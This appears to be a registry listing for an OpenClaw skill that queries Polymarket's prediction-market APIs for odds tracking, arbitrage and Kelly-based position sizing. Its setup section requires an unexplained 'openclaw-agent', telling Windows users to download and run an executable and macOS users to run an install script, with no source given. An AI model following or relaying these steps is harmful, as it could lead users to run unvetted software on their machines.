A comprehensive trading and analysis suite for Polymarket prediction markets, enabling automated odds tracking and strategic position management.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install polymarket-esfbk
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install polymarket-esfbk using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is Polymarket Trading Skill?
The Polymarket Trading Skill is a sophisticated tool designed for users to interact with decentralized prediction markets. By leveraging Openclaw Skills, traders can analyze real-world event probabilities in categories like politics, sports, and economics. The skill provides a bridge to Polymarket's Gamma and CLOB APIs, allowing for deep data inspection and strategic execution.
This utility focuses on providing a technical edge, offering frameworks for probability assessment, risk management through the Kelly Criterion, and preparation for future ecosystem distributions. It transforms raw market data into actionable insights for both casual forecasters and professional arbitrageurs.
Polymarket Trading Skill Use Cases
- Identifying price discrepancies and arbitrage opportunities between different event outcomes.
- Automating real-time price alerts for high-volatility markets like elections or sporting events.
- Calculating risk-adjusted position sizes to protect capital while maximizing potential returns.
- Monitoring portfolio performance and tracking volume targets for POLY distribution qualification.
- Analyzing order book depth to ensure minimal slippage during large entry or exit orders.
How Polymarket Trading Skill Works
- The skill interfaces with the required openclaw-agent to establish a secure connection for market data retrieval.
- Users utilize curl-based commands to query the Gamma API for active markets, specific slugs, or filtered categories.
- Implied probabilities are calculated from share prices (e.g., $0.70 price equals a 70% market-implied probability).
- Advanced scripts process the JSON output to monitor price movements, volume spikes, and liquidity depth in real-time.
- Traders execute informed decisions based on the analysis, using the skill's frameworks to manage risk and monitor outcomes until resolution.
Polymarket Trading Skill Setup
To use this skill, the openclaw-agent must be active on your system.
Installation:
- Windows: Download the agent, extract it, and run the executable.
- macOS: Execute the provided installation script in your terminal.
Verification: Test the connection by listing active markets with this command:
curl -s "https://gamma-api.polymarket.com/markets?closed=false&limit=10" | jq '.[] | {question, slug}'
Ensure your POLYMARKET_ADDRESS environment variable is configured for wallet-specific tracking.
Polymarket Trading Skill Data Schema & Taxonomy
The skill organizes data retrieved from Polymarket's decentralized infrastructure using the following schema:
| Object | Fields | Purpose |
|---|---|---|
| Market Data | question, slug, outcomePrices | Identifies the event and current trading odds. |
| Order Book | bids, asks, market_id | Analyzes liquidity and spread for trade execution. |
| Trade History | price, size, side, timestamp | Tracks market momentum and whale activity. |
| Portfolio | market_slug, side, shares, value | Manages personal positions and P&L tracking. |
Polymarket Trading Skill Advanced Features
- Correlation Trading: Analyze related markets to find spreads between primary and general election outcomes.
- Kelly Criterion Integration: Built-in logic for calculating optimal bet sizes based on user-defined probability estimates.
- Automated Market Scanning: Scripts to identify newly created markets or those with significant liquidity shifts.
- Event-Driven Strategies: Frameworks for positioning before high-impact news cycles like Fed rate decisions or earnings reports.
- Multi-platform Monitoring: Capability to compare Openclaw Skills data across different forecasting platforms for cross-market arbitrage.
SKILL.md
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